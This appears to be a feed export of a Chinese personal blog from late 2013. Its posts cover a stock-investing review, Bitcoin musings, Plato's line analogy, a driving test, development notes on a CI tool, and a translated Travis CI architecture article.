金斌的个人主页
2018-08-07T07:31:48+00:00
http://jinbin.github.io
jinbin
bin.jinb@qq.com
2013投资总结
2013-12-31T00:00:00+00:00
http://jinbin.github.io/%E6%9D%82%E8%B0%88/2013/12/31/2013投资总结
<p>今年是我的投资元年。坦白的讲,有几点零星的体会,但总体而言对投资这件事情还是懵懵不懂,不敢多言。以后还要多学多看。</p>
<p><strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong> 流水账开始 <strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong></p>
<p>今天也可以算是我入市一周年的日子。2012年年底开通了A股账户,12月31日买了第一只股票——三元达(之前做过一次逆回购),然后在惴惴不安的心情中在1月8日赶紧卖出,赚了点手续费。之后又做了几次逆回购,受到东波老股民的影响,在1月11日比较正经的买入了民生银行。</p>
<p>之后就是一段无比波折的心路历程。民生气势如虹的上攻,一段时间内盈余了30%之多,然后春节过后又成了速降机,向下猛砸了一通,索性仍在我的成本线之上。可惜我的成本线终究不是铜墙铁壁,6月钱荒时候,民生就砸破了成本线,此后虽有反弹,但年底的时候终究没有重演去年的走势,一路萎靡,意料之外情理之中跌破了我的成本线。</p>
<p>春节前,也买过农行,兴业银行,做过非常短的买入卖出,小赚一点手续费。节前50元以上买过平安,结果平安开始了一路的下跌,一直让我没机会出手(那时总觉得赔钱是件坏事)。</p>
<p>年中,40以下一点买过平安,17元买过兴业,也买过交行,五粮液。其中,后面两只股已经出手。交行第一次买的时候是4.5以上,结果也是一路跌势,索性在3.9的时候补低了成本,趁着后来的一股反弹出掉了。五粮液成本23元多,结果最后在19元认赔附近出掉(现在股价已经到15元了,止赔很重要!)</p>
<p>今年也配置了几只转债:民转,平转,中转。</p>
<p><strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong> 流水账结束 <strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong><strong>**</strong></p>
<p>平安这只票,我的成本大概43元,今年一年几乎没有让我浮赢过,一段时间还跌倒了33元以下(动不动赔上20%的滋味可懂?),反正麻木了,恨也恨不起来。结果到了年底,一路反弹到现在,反而没让我亏钱。</p>
<p>民生这只票,算是感情最深的了(股市讲感情,多半是悲剧),今年除了年中钱荒那段时间,其实一直是盈利最多的票。结果到了年底,一路走低,反而让我亏钱了。</p>
<p>想想这情景,真是应了一句俗话:<strong>“笑到最后才笑得好”</strong>。当然,这两只票都不坏,但是依样画瓢还是没法赚钱,所谓的<strong>“买入是徒弟,卖出是师傅”</strong>。</p>
<p>同样是满仓金融股的老股民,实验账户今年赚了20%多。想想我同样是金融股,同样大头是民生、兴业,反而亏钱了。</p>
<p>流水账记完了,记点感受:<br />
<strong>1. 好股也需好价。</strong> <br />
民生不是坏公司,但是不代表什么价格都值得买。6块钱买跟10块钱买,本身就差了60%的收益,这个就是确定性。<br />
在周边银行普遍净资产以下的时候,民生确实显得贵了。<br />
<strong>2. 要有耐心。</strong><br />
每次有现金的时候,总是迫不及待的买入股票,学不会空仓,老是觉得再不买就要错过行情了。</p>
<ul>
<li>民生10元以上时,想不到还能跌回到8块以内;</li>
<li>交行想不到能跌倒6折;</li>
<li>中行转债竟然会到96元;</li>
<li>民转110元的时候竟然也有跌破95的时候。 <br />
低价比高价有确定性,好股需要好价,其实无非耐心二字。</li>
</ul>
<p>今年没啥目标,成绩是-3.639%,同比大盘收盘年内跌幅6.75%,借用一句时髦的话是”小幅跑赢大盘”(但这其实没啥意义,你懂的)。作为投资元年,交点学费,应该!</p>
<p>明年投资的目标就是:</p>
<ol>
<li>读几本投资相关的书,手头就有一本<聪明的投资者>,先搞定再说。</聪明的投资者></li>
<li>学会空(不满)仓。大部分时间要求就是保证现金(非债)逆回购。</li>
<li>市场情绪低迷的时候才买。尽管没有能力判断绝对价值,但可以判断情绪。</li>
<li>止盈。当然这要求市场给我机会。</li>
</ol>
<p>告一段落,跟风总结,但今天也无非就是普通的一天,看书去吧!</p>
如何看待比特币的思考
2013-12-29T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/12/29/如何看待比特币的思考
<p>雪球上有种观点很有代表性:因为比特币被炒作,暴涨暴跌,所以比特币价值为0。</p>
<p>如果你是一个投机者,那么T+0的比特币价格波动大应该是你喜闻乐见的,因为波动才能赚差价。</p>
<p>如果你是一个投资者,那么你会因为一家企业的股价因炒作而大幅波动,就断定这家企业是垃圾?价值投资者不是说要跟市场保持距离嘛?</p>
<p>所以价格高低与否,是否被炒作,不能用来评判一件事物的价值。你不能因为拥有比特币的大部分人仅仅是为了投机赚取暴利,就认为比特币本身毫无价值。</p>
<p>首先,比特币从2009年诞生到现在只有4、5年时间,对于像比特币这样可能改变未来货币形态的事物来说,这是一个过于短暂的时间。缺点也好,不足也罢,是容易看到的。但是我们更应该看到其飞速的发展,以及开始对社会产生的影响力。</p>
<p>其次,比特币不仅仅是货币。这就好比,经济学是研究社会如何管理自己的稀缺资源的学科,不是研究如何赚钱的学科。虽然带有”coin”这个字眼,但是中本聪构建的这一完整、精妙的系统更像是充满希望的潘多拉魔盒。</p>
<p>比特币是一个分布式、公开的记账系统。在称为”block”的账簿上,全世界所有的交易单(transactions)都记录在上面,如果你愿意,你可以核对任何一个地址对应的transaction。作为一个记账系统,里面的每一个block按照时间顺序依次相连,由数学保证其唯一性和不可更改性(从原理上说,数学比任何国家、政府都要可靠)。这份账簿保存在所有的P2P结点上,任何人或组织几乎不可能摧毁这样一个P2P的系统。</p>
<p>另外,并不单独存在”coin”这类事物,你的地址上有多少余额仅仅取决于block上所有关于你的地址的transaction的统计结果。而这些数字的总和已经确定,到某一时间点,其总和会固定在2100万。</p>
<p>假如,我们把每个地址上的数字作为一种货币的话,那么它的确是一种新型的货币。而且,你会发现,它完全符合关于货币的经典理论:价值尺度、流通手段、支付手段、储藏手段等等,尽管比特币还完全没有成熟。我想象不出比特币一定不能成功的理由。</p>
<p>但是比特币的作用远不止于”一般等价物”,它的想象空间已经超出了很多人的思维范围。</p>
<p>比如,壹基金接受比特币捐款,我们通过壹基金的账号,就可以很方便的通过”公开账簿”查出这笔捐款总额是多少,以及壹基金如何使用这笔捐款(假如未来支持比特币的商家足够多的话)。明星也不用担心被人怀疑”诈捐”,因为他们可以使用自己的私钥来证明某一笔捐款确实出自他们手中。</p>
<p>对于一个企业来说,企业家可以看到的不仅仅是某个时点的资产负债表,而是这段时间内的所有账簿流水,非常轻松,绝对的透明。</p>
<p>个人、企业之间可以通过比特币账簿达成分布式的加密协议,这个协议一旦生成就会被记录在公开账簿的历史记录中且无法被更改,双方都不用担心对方违约带来的麻烦。</p>
<p>你也可以使用比特币账簿来处理贷款。债务人通过抵押自己的房产或汽车来获取贷款,通过比特币账簿生成一份协议,规定每个月需要偿还的金额。一旦债务人违约,资产的访问密码失效,则资产自动转移到债权人名下。</p>
<p>而以上的种种服务,原本需要大量的第三方服务机构进行协调(而且,正如红十字会所遇到的危机一样,第三方机构并不是可信的代名词),耗时费力,但在比特币的世界里,一切真是So Easy!</p>
<p>因为比特币骨子里是开放并开源的,所以它欢迎任何在其基础上进行创新的事物。比特币是一个平台,也是一个生态圈。</p>
<p>尽管,“衣食住行”是永恒的主题,但是对于像”比特币”这类的新事物,保持开放、包容的心态不仅仅是一种必需,也是一种乐趣。虽然比特币的炒作并不可取,也没有理由认为认同比特币的理念一定要以购买比特币来体现,但是若能通过比特币,从某个角度窥探一下未来,得到一些启发,这也是一件值得尝试的事情。</p>
柏拉图的线喻
2013-12-23T00:00:00+00:00
http://jinbin.github.io/%E6%9D%82%E8%B0%88/2013/12/23/柏拉图的线喻
<p>最近在读柏拉图的《理想国》。</p>
<p>其实这本书买来很早了。之前还是在滨江园区的时候,因为工牌绑定的现金没法退,所以就到枫林晚书店买了几本书。《理想国》名气不小,书厚实价格也不贵,所以就买下了。</p>
<p>《理想国》希腊文原标题意为“城邦论”,还有一个副标题:论正义、政治。柏拉图借苏格拉底与别人对话的形式,将自己对于正义、政治等等的一系列看法,通过构建一个理想中完美的城邦的方式论述出来。</p>
<p>坦白的讲,一开始读此书,颇感无味,宛如一杯白开水,尽管不至于无趣。苏格拉底与他人从“正义是什么”这个话题聊起,先是别人提出一个正义的定义,然后苏格拉底海阔天空的侃,最后推翻这个定义,重复这个过程一连否定了四个定义,却始终没有得到正义的定义。</p>
<p>然后继续海阔天空。为了得到个人的正义,先开始了城邦的正义的探讨。一个理想中的城邦是什么样的?于是苏格拉底继续海阔天空的开始了他的论证。</p>
<p>书没有读完,半知不解,也不敢妄谈。书中的每个人对正义的定义不同,或许苏格拉底的理解有层次上的高度,但是我相信苏格拉底本人也不会说自己的定义就是答案———在现实世界中,“标准答案”是一个可笑的说法。</p>
<p>然而哲学家们却矢志不渝的追求那个唯一的东西,或是叫真理,或是叫善。他们明明知道自己不会得到一个最终的答案,却始终相信自己可以离唯一更近。或许,哲学的意义不在于结局,而只在于那个追求的过程。</p>
<p>真正让我觉得“有点意思”的是柏拉图讲到的“线喻”——这更接近于我想象中的哲学的模样。</p>
<p>柏拉图举例一根线,将其从一点分为两部分,一部分代表可见世界,另一部分代表可知世界。</p>
<p>可见世界中,又可以取一点分为两部分:1. 阴影(倒影,水中影像等) 2. 世界万物。
与之对应的可知世界中:1. 科学(如数学) 2. 理念。</p>
<p>阴影是世界万物的倒影,而世界万物是科学的倒影。</p>
<p>前者很容易理解,后者则需要动动脑筋。譬如我们需要求得一张方桌四边的长度之和,会自然而然的运用正方形的求总边长的公式。正方形不存在于现实世界,但人们通过方桌可以理解,所以说现实的方桌是正方形的倒影。</p>
<p>而科学跟理念的区别在于,科学是基于一系列假设的,比如数学,首先会给出几个假设,类似平行线不会相交等等,再由这些假设推导出一系列的结论。这些结论是依赖于这些假设的,不会高于这些假设。</p>
<p>而理念虽然也有假设,但是是把假设作为起点,通过辨证等方法,从理念到另一个理念,不需要借助于任何感性的事物。</p>
<p>由此,柏拉图把与之对应的人类活动分为:想象,意见,理智,理性。</p>
<p>阴影只是想象的产物,对于现实万物的观点只能算是意见;科学是要比前两者更高的知识,需要人们通过努力来获取,但是在柏拉图眼里还不能够上升到理性。唯有对理念的追求和思考,才称得上理性。</p>
<p>让我感到稀奇的是柏拉图通过一条线就这么清晰明了的讲明白了哲学的一些基本问题:哲学追求的是什么?哲学跟科学的关系?哲学跟日常万物的关系?并且通过线喻来引导人们对最高、最永恒的理性进行追求。</p>
<p>我相信看过线喻的人,都会在想,自己平时学到的“知识”,到底处于什么层次?是空无一物的想象,还是不过说说的意见,还是上升到科学,进而理念的层次?</p>
<p>没有标准答案,可贵的是追求的过程。</p>
顺利通过科目二
2013-12-22T00:00:00+00:00
http://jinbin.github.io/%E6%96%87%E7%AB%A0/2013/12/22/顺利通过科目二
<p>这周从周三开始请假三天,去参加科目二的考试。</p>
<p>考试地点在富阳场口,一个偏僻的小镇。周五开始考试,提前两天过去熟悉场地外加练习。</p>
<p>周三9点出发,差不多中午达到考试点。吃了考场的食堂后,便在考试场地上用教练车进行练习。我们一共6个人,每天来考试的人也很多,所以一下午轮流过去,每个人也没开个几圈。晚上在镇上一家旅店里吃饭、休息。</p>
<p>第二天继续练习。教练早上5点去排队好不容易抢到了考试车训练的机会。由于订的人很多,所以只能安排在晚上6点到9点半。白天继续勤加练习:坡道起步,直角转弯,曲线行驶,侧方停车,正反库,别人练的时候自己就在记忆要点。</p>
<p>到了晚上开始用考试车训练。第一次,坡道起步时扣了10分,其他没啥扣分,最后90分合格过关。第二次就糟糕了,坡道起步时定点停车离标志线太远,直接扣了100分,然后侧方停车时又压线,又扣了100分,人品槽已满。最后时间不够,就再练了一次坡道起步,这次还是出了点问题,心一慌,然后左转向灯又打晚了,分数刷刷就扣了30分,也是挂了。不过练习就是练习,扣分权当攒人品。</p>
<p>12中下旬本来就冷,又是农村偏僻的地方,那可真是冷的瑟瑟发抖。不多练车效果还是明显的,多练几次掌握的就越好,大家练的都很认真。</p>
<p>到了考试那天,终于可以睡个小懒觉了(8点起床)。吃了拌面到了考场,先是排队验指纹进候考大厅,等着叫号分配考场。在候考大厅说实话还真有点小紧张。</p>
<p>等了差不多一个小时,分配到自己了,进了A2考场,接着等。然后就和一群等着考试的学员看着正在考试的那帮人开车。不少人在坡道起步这第一项就熄火,滑坡等等。等着等着,自己也越发不紧张了。</p>
<p>终于轮到自己上场了。上车后,该咋地咋地。先检查了下座位,后视镜,然后系好安全带,打左转向灯,一松离合,上路了。先是坡道起步,到了高点停车,也不知道扣分没,反正没报不及格,就放心接下去开。后面的几项心里还是有底。</p>
<p>车开的有点猛,但是也没关系,只要没报不及格,说明就OK。侧方停车时出了点小插曲,本来是停车准备后退的,结果一松离合,车子往前,赶紧刹车。原来忘了挂倒档了,好在没有扣分。既然没扣分,那我也不客气了,妥妥的把项目完成了。</p>
<p>最后正反库完成,出了考试区,听到设备报:“你已合格。”心理还小激动了一把,以至于手忙脚乱的停车被保安还说了一通。管他呢,反正我已经及格了。</p>
<p>打印完成绩单,坡道起步处扣了10分,其他则完全OK,得了90分。一起去考的总共6个人都通过了,皆大欢喜。</p>
<p>过去的那三天其实挺开心的,付出过努力,学到了东西,还拿到了结果,这难道不是一件值得骄傲的事情嘛?</p>
分布式和去中心化
2013-12-10T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/12/10/分布式和去中心化
<p>之前提到Git时候,我总习惯说Git的设计是分布式、去中心化,好像“分布式”和“去中心化”这两者天然的就是联系在一起的。</p>
<p>然而昨天我在看比特币介绍时,忽然想到了一个问题:分布式和去中心化到底有什么区别?</p>
<p>睡觉前想了下,下面是我的回答:</p>
<p>#####分布式和去中心化的区别,在于追求的目标不同。</p>
<p>#####<strong>去中心化</strong>追求的是一种状态,身处其中的各个个体之间都可以平等、自由的交换信息。这种状态本身就是去中心化的目的所在。</p>
<p>#####<strong>分布式</strong>追求的是完成一个任务或者一个工作,身处其中的所有个体都是在为这个任务或者工作服务。完成任务时分布式的目的所在。</p>
<p>#####就比如熟悉的Git。去中心化意味着每个使用Git的人(或者Git Repo)都可以自由的交换信息,利用任意节点的资源进行创新。分布式则是指一个(可能是虚拟的)团队,对一份代码进行协作开发。</p>
<p>#####于是,去中心化和分布式要解决的问题就产生了区别,尽管他们归根结底都是在解决关于协作的问题。</p>
<p>#####去中心化要解决的问题是如何保持其中个体信息的完整、独立,分布式要解决的问题是如何将其中各个个体的信息进行综合。</p>
<p>#####最重要的就是看各个符合去中心化或是分布式的系统是如何解决好这几个问题。</p>
CISE开发周记
2013-11-28T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/11/28/CISE开发周记
<p>时间总是过得很快,希望借助于纸笔可以将时间拖慢点(我一定是想多了…)。</p>
<p>本周主要开发两个功能:</p>
<ul>
<li>多虚拟机申请</li>
<li>环境复用功能优化</li>
</ul>
<h3 id="测试">测试</h3>
<p>本周还大规模的写了很多spec测试case,并有意识的进行了TDD尝试,即先写测试Case,再进行功能编写或者重构。Martin Fowler说过,重构的三个建议:</p>
<ul>
<li>不要在重构的时候增加新的功能</li>
<li>在重构之前有足够的测试case</li>
<li>小步进行,每一步都深思熟虑</li>
</ul>
<p>我认为最重要也是最难做到的就是第二点。</p>
<p>写spec case的一点经验:</p>
<ul>
<li>要挑选适合做spec的接口。输入输出确定,内部逻辑较为复杂</li>
<li>count_machines的接口内部是用递归实现的,但是输入是一个对象,输出是一个数组,都容易确定</li>
<li>当跑通一个case之后,可以站在spec case(黑盒)的角度,来构造测试用例</li>
<li>spec强调的是规格测试,更多的要站在需求点的角度思考测试方案。通过describe, context来区分测试的场景。</li>
<li>可以用send来测试private方法</li>
</ul>
<h3 id="do-less">do less</h3>
<p>多虚拟机申请最初是打算是采用部署的流程来帮助用户来进行部署服务,但是团队有人建议直接给用户提供机器的用户名、密码等信息,而不用替用户做那些功能。</p>
<p>细细思索之后,其实这种do less的方式也是有好处的:</p>
<ul>
<li>简化了申请虚拟机的逻辑,便于用户理解。</li>
<li>如果do more, 用户会问:你从哪里卸载的脚本,你做了哪些工作,发现一个问题是不是你的代码导致的?但是do less, 用户会很明白的知道,你只是给他们提供了用户名、密码,其他都是用户自己用脚本来决定。</li>
<li>简化了代码的逻辑</li>
<li>因为do more借用了原有的业务逻辑,这样原有业务逻辑如果变动了,就需要考虑是否给这个功能带来影响——换句话说,增加了模块间的耦合度。另外,你需要进行判断什么时候是部署,什么时候是申请虚拟机,这里就会有分支的概念。一旦有了分支,一般某一部分的逻辑复杂度就是直接乘2.</li>
</ul>
<h3 id="抽取">抽取</h3>
<p>环境复用的难点在于,复用的时候哪些步骤可以省略,哪些步骤又必须执行呢?</p>
<p>如果准备环境的操作是Steps A, 而复用的时候可以进行省略。Steps A可以作为一个整体来看待,对于一个串行的应用来说。这部分逻辑,我考虑将其剥离到Engine来执行,而不是将其放倒App中。这样有两个好处:</p>
<ul>
<li>模块之间的功能划分更清晰,避免了App过重。Engine本身就负责机器的申请,环境复用的判断,所以将机器的基础环境部署接过来也很合理。由Engine来处理是否需要复用的逻辑。而App可以专注于具体的测试Steps过程。</li>
<li>将这部分工作从App中剥离出来,可以更方便的为以后的并行处理做准备。</li>
</ul>
<p>问题在于,Steps A并非可以完全剥离出来。Steps A可以分为两部分:1. Steps A1 完全属于环境准备的操作 2. Steps A2跟App本身依赖的应用构建有关的。前者适合由Engine来处理,后者跟App脱离似乎就有些不合适了。从并行的角度看,前者很自然的可以并行处理,后者却不能:</p>
<p><img src="/image/reuse.jpg" alt="reuse" /></p>
<p>这样的流程也算是差强人意,唯一的遗憾是复用的判断在两个地方同时存在,这似乎也意味着以后可能有更多的逻辑都需要做两次处理,使得Engine和App的职责变得不那么清晰了。</p>
<p>这部分继续考虑考虑,还有什么更好的方法。</p>
The Smallest Distributed System (3)
2013-11-24T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/11/24/The_Smallest_Distributed_System_3
<p>##最小的分布式系统(3)</p>
<p><img src="/image/The_Smallest_Distributed_System_08.jpg" alt="架构图8" /></p>
<p>日志的作用有两个:当构建日志的数据块通过消息队列进来时,更新数据库对应行,然后推送它到Pusher用于实时的用户界面更新。</p>
<p>日志块以流的形式在同一个时间从不同的进程中进来,然后被一个进程处理。这个进程每秒最高可处理100个消息。</p>
<p><img src="/image/The_Smallest_Distributed_System_09.jpg" alt="架构图9" /></p>
<p>一般情况下这样处理日志流的方式也相当OK,但是这也意味着我们很难处理某些时刻突然增长的日志消息,因此这个唯一的进程对于我们系统的扩展会成为一个很大的障碍。</p>
<p>问题在于,进程是按照这些消息到达消息队列的先后顺序来进行处理的,而Travis CI中的所有事情都依赖于这些消息。</p>
<p>更新数据库里的一条日志流意味更新包含所有日志的一行数据。更新用户界面的日志当然意味着在DOM树上附加一个新的结点。</p>
<p>为了解决这个棘手的问题,我们需要改很多代码。</p>
<p>但是首先,我们需要理清楚什么才是一个更好的解决方案,好的解决方案应该是能够让我们很方便的扩展日志处理的部分。</p>
<p>我们决定让处理的顺序作为消息本身的一个属性,而不是隐含的依赖于它们被放进消息队列的顺序。</p>
<p><img src="/image/The_Smallest_Distributed_System_10.jpg" alt="架构图10" /></p>
<p>这个想法是受到Leslie Lamport于1978年发表的一篇论文<a href="http://research.microsoft.com/en-us/um/people/lamport/pubs/pubs.html#time-clocks">《Time, Clocks, and the Ordering of Events in a Distributed System》</a>的启发。</p>
<p>在这篇论文中,Lamport描述了在分布式系统中,使用递增计数器来保留事件发生的顺序的方法。当一个消息被发送,发送者会在消息被接收者接收到之前增加计数器的值。</p>
<p>我们可以简化那个想法,因为在我们的场景中一个日志块只能来自一个发送者。进程只要不断增加计数器的值,就可以让之后的日志收集工作变得简单。</p>
<p>剩下的工作就是根据计数器的值来对日志块进行排列了。</p>
<p>困难之处在于,这样设计之后等同于允许向数据库写入小的日志块,这些小日志块只有在对应任务结束后才会写入到完整的日志中。</p>
<p>但是这会直接影响到用户界面。我们不得不面对消息以无序的方式到来。这个变化的确影响的范围大了些,但它反过来简化了很多部分的代码。</p>
<p>从表面看,这个改动似乎无关紧要。但是依赖于你本不需要依赖的顺序会带来更多潜在的复杂性。</p>
<p>我们现在不用依赖于信息是如何传送的,因为现在我们可以在任何时间得到他们的顺序。</p>
<p>我们修改了不少代码,因为那些代码做了一个假设,任何信息都是顺序过来的,而这个假设是完全错误的。在分布式系统中,事件可以以任何顺序在任何时间到达。我们只需要确保之后我们可以将这些片段重新组装回去。</p>
<p>你可以从我们的博客获取这个问题更详细的说明。</p>
<p>到了2013年,我们每天已经在运行45000次构建。我们还是在为早先的设计付出着代价,但是我们也在慢慢的改进设计。</p>
<p><img src="/image/The_Smallest_Distributed_System_11.jpg" alt="架构图11" /></p>
<p>我们现在还有一个麻烦。系统所有的组件还是在共享同一个数据库。如果数据库出现问题,自然的所有组件都会出现问题。这个故障上周我们刚刚遇见一次。</p>
<p>这同样意味着日志写入的数量(目前可以达到每秒300次)影响到了我们API的性能,当用户浏览我们的用户界面时可能会慢一点。</p>
<p>另外,当我们从构建任务的数量上考虑时,我们的下一个挑战就是如何去扩展我们的数据容量。</p>
<p>Travis CI在500台构建服务器上运行,这已经不能再算是一个小的分布式系统了。我们现在正着手解决的问题还是从一个相当小的维度来考虑的,但即便在那个维度上,你也能够遇到很多有趣的挑战。根据我们的经验,简单直接的解决方案总是比那些更复杂的要好。</p>
The Smallest Distributed System (2)
2013-11-23T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/11/23/The_Smallest_Distributed_System_2
<p>##最小的分布式系统(2)</p>
<p><img src="/image/The_Smallest_Distributed_System_04.jpg" alt="架构图4" /></p>
<p>大约1年之前,我们发现当时的架构有些不合理了。尤其是Hub,它上面承担了太多的任务。Hub要接收新的处理请求,处理并推动构建日志,它要同步用户信息到Github,它要通知用户构建是否成功。它跟一大群外部API打交道,全部都是在一个进程中处理。</p>
<p>Hub需要继续演化,但它却不太可能自由扩展。Hub只能以单进程的方式运行,也因此成为我们最有可能发生的单点错误。</p>
<p>Github API是一个有趣的例子。我们是Github API的重度用户,依靠这些API我们的构建任务才能执行。无论是获取构建配置信息,更新构建状态,还是同步用户数据,都离不开这些API。</p>
<p>回顾历史,当这些API中的某一个不可用,hub就会停止当天正在处理的任务,而转移到下一个任务上。所以,当Github API不可用时,我们的很多构建都会失败。</p>
<p>我们对这些API赋予了很多信任,当然现在也一样,但是说到底,这些是我们不能掌控的资源。这些资源不是我们自己来维护,而是由另外的一个团队,在另外的网络系统中,有他们自身的弱点。</p>
<p>我们过去没有这样想。过去我们总是把这些资源当做我们可以信赖的朋友,以为他们随时都会响应我们的请求。</p>
<p>我们错了。</p>
<p>一年之前,这些API无声无息的对某个功能做了修改。这个一个虽然没有文档说明,但是我们非常依赖的功能。这个功能就是这么消无声息的被修改了,于是导致了我们这边的问题。</p>
<p>结果,我们的系统完全乱套了。原因很简单,我们把Github API当做了自己的朋友,我们耐心的等待这些API回应我们的请求。每一次新的提交,我们都等了很长的时间,每次都有几分钟。</p>
<p>我们的超时设置太宽松了。因为这个原因,当对Github API的请求最终超时时,我们的系统也已经发生错误。那天晚上我们花了很长的时间处理这个问题。</p>
<p>即便是小问题,当某个时刻凑到一块了,也能够破坏一个系统。</p>
<p><img src="/image/The_Smallest_Distributed_System_05.jpg" alt="架构图5" /></p>
<p>我们开始隔离这些API请求,设置更短的超时时间。为了保证我们不会因为Github方面的中断而导致构建失败,我们同样加了重试机制。为了保证我们能够更好的处理外部的异常,我们的每一次重试都会依次延长过期时间。</p>
<p>你应该接受那些在你控制之外的外部API随时可能失败的现实。如果你不能将这些失败完全隔离,你就有必要考虑如果去处理他们。</p>
<p>如何去处理每一个单点错误场景是基于商业上的考虑。我们可以承受一个构建出异常吗?当然,这不是世界末日。如果因为外部系统的问题,我们能够让数百个构建出现异常嘛?我们不能,因为无论什么原因,这些构建异常够影响到了我们的客户。</p>
<p>Travis CI最初是一个好心的家伙。它总是很乐观地认为每一件事情总会正确的工作。</p>
<p>很不幸,那不是事实。每一件事在任何时刻都可能导致混乱,但是我们的代码却从来没考虑过这一点。我们做过很多努力,现在我们仍然在努力,去改变这种情况,去提高我们的代码处理外部API或者系统内部异常的能力。</p>
<p><img src="/image/The_Smallest_Distributed_System_06.jpg" alt="架构图6" /></p>
<p>回到我们的系统,hub承担的任务很容易导致异常,所以我们将其分割成很多的小应用。每个小应用都有其自身的目的和承担的任务。</p>
<p>做好任务隔离,这样我们就能更轻松的扩展系统。大部分任务都是直接的从上到下运行的。</p>
<p>现在我们有了三个进程;处理新的提交,处理构建通知,和处理构建日志。</p>
<p>突然之间,我们有了新的问题。</p>
<p>虽然我们的应用已经分割开了,但是他们都依赖一个叫做travis-core的核心。核心包括数量很多的Travis CI所有部分的商业逻辑。这可真是一个<a href="http://en.wikipedia.org/wiki/Big_ball_of_mud">big ball of mud</a>。</p>
<p><img src="/image/The_Smallest_Distributed_System_07.jpg" alt="架构图7" /></p>
<p>对核心的依赖意味着核心代码的改动可能影响到所有应用。我们的应用是按照各自的任务进行划分,但是我们的代码不是。</p>
<p>我们现在还在为最早的架构设计而支付学费。如果你增加功能,或是修改代码,对公用部分的一点点改变都可能带来问题。</p>
<p>为了保证所有应用的代码都可以正常工作,当travis-core做了修改,我们需要部署所有应用去验证。</p>
<p>任务并不仅仅意味着你必须从代码的角度将其分隔。任务本身也同样需要物理分隔。</p>
<p>复杂的依赖影响了部署,同样,它也影响了你交付新代码、新功能的能力。</p>
<p>我们慢慢的将代码的依赖变小,真正的从代码隔离开每个应用间的任务。幸运的是,代码本身已经有很好的隔离程度了,所以这个过程显得容易多了。</p>
<p>有一个应用需要特别关注,因为它是我们做扩展最大的挑战。</p>
The Smallest Distributed System (1)
2013-11-23T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/11/23/The_Smallest_Distributed_System
<p>翻译作品,原文见<a href="http://www.paperplanes.de/2013/10/18/the-smallest-distributed-system.html">http://www.paperplanes.de/2013/10/18/the-smallest-distributed-system.html</a>。</p>
<p>##最小的分布式系统(1)</p>
<p>Travis CI一开始仅仅是个想法,在当时甚至还有些理想化。在这个项目启动之前,开源社区还没有一个可用的持续集成系统。</p>
<p>随着作为开源协作平台的Github越来越被人认可,Github也非常需要可以持续对贡献代码进行测试的服务,来保证一个开源项目始终处于稳定健康的状态。</p>
<p>Travis CI开始于2011年初,而且很快得到了一些试用客户。到了2011年夏天,我们每天进行700次构建。所有这些构建都是在一台构建服务器上进行的。Travis CI跟Github完美集成,目前Github还是Travis CI的主要平台。</p>
<p>Travis CI在持续集成领域并没有惊天动地的大动作,但它的确重新定义了一些原有的概念,并增加了一些新的想法。其中一个就是你可以在你的测试运行过程中,接近实时的看这个项目的构建日志流。</p>
<p>最重要的一点,Travis CI允许你通过源码里的文件(.travis.yml)来对构建过程进行配置,而不是复杂的用户界面。</p>
<p><img src="/image/The_Smallest_Distributed_System_01.jpg" alt="架构图1" /></p>
<p>Travis CI一开始的架构很简单。通过Web组件可以让项目和它的构建过程可见,同时,只要一个新的commit提交到了项目,Travis CI就可以接收到来自Github的消息,从而触发构建。</p>
<p>另外一个叫做hub的组件,是负责处理新的提交,将他们转化成一次构建,并且处理构建任务运行和结束时产生的结果数据。</p>
<p>这两个组件都是跟PostgreSQL数据库打交道。</p>
<p>第三部分就是用来控制构建任务本身的线程集合,它们可以用来在虚拟机实例上执行一系列的命令。</p>
<p><img src="/image/The_Smallest_Distributed_System_02.jpg" alt="架构图2" /></p>
<p>本质上,hub会显得比其他部分稍微复杂一些。当hub处理构建日志时,它需要与RabbitMQ进行消息传递。日志会以chunks流的形式从控制构建任务的线程中得到。</p>
<p>Hub更新数据库中的日志和构建结果信息,并且hub推送他们到Pusher。通过Pusher,Travis CI可以在构建开始或结束的时候更新用户界面。</p>
<p>这样的架构一直维持到了2012年,当时我们每天进行7000个构建任务。我们欣喜的看到Travis CI在开源社区越来越广泛的使用,并且开始支持11种语言,包括PHP,Python,Perl,Java 和 Erlang。</p>
<p>随着越来越多的使用,Travis CI越来越像是一个开源项目的必备服务了。但是不幸的是,这个系统从一开始构建的时候就没有考虑过监控。</p>
<p><img src="/image/The_Smallest_Distributed_System_03.jpg" alt="架构图3" /></p>
<p>过去,总是来自社区的用户通知我们系统没有正常运行,构建任务遇到异常,或是任务信息没有被处理好。</p>
<p>那可真是令人尴尬。我们的第一个挑战就是给系统增加监控,数据指标和日志,让Travis CI从一个业务爱好的项目转变为一个重要的商业平台。我们准备发布Travis CI的正式生产版本。</p>
<p>被用户告知系统没有正常运行直到今天仍然是我最大的噩梦,我们不得不努力工作建设好数据监控,以使系统能够在出现问题的一开始就及时通知。</p>
<p>如果没有任何数据记录或者良好的日志,我们根本不可能去搞清我们这个小分布式系统到底发生了什么。无论是从哪个方面看,Travis CI都已经是一个分布式系统了。</p>
<p>加入监控指标和日志是一次循序渐进的学习过程,但是最终,它们让我们可以了解这个系统正在做什么,无论是通过图表还是日志。</p>
<p>这对我们而言是一个巨大的提升。可见性对于运行一个分布式系统是非常重要的。</p>
<p>当你写一个系统时,考虑好如何监控它。</p>
<p>做好监控会有助于你的系统更好的在生产环境运行,而不仅仅是通过测试。</p>
<p>关键是,更多的监控不仅仅是让你可以对系统更了解,你也会发现那些你以前未曾想到或见到的问题。系统更高的可见性带来更多的责任感。现在我们需要去面对这样的事实:我们对系统的错误有了更多的了解,所以我们必须更有效的工作来减少这些错误所带来的影响。</p>
How to Waste Time on TDD
2013-11-21T00:00:00+00:00
http://jinbin.github.io/%E6%8A%80%E6%9C%AF/2013/11/21/How_to_Waste_Time_on_TDD
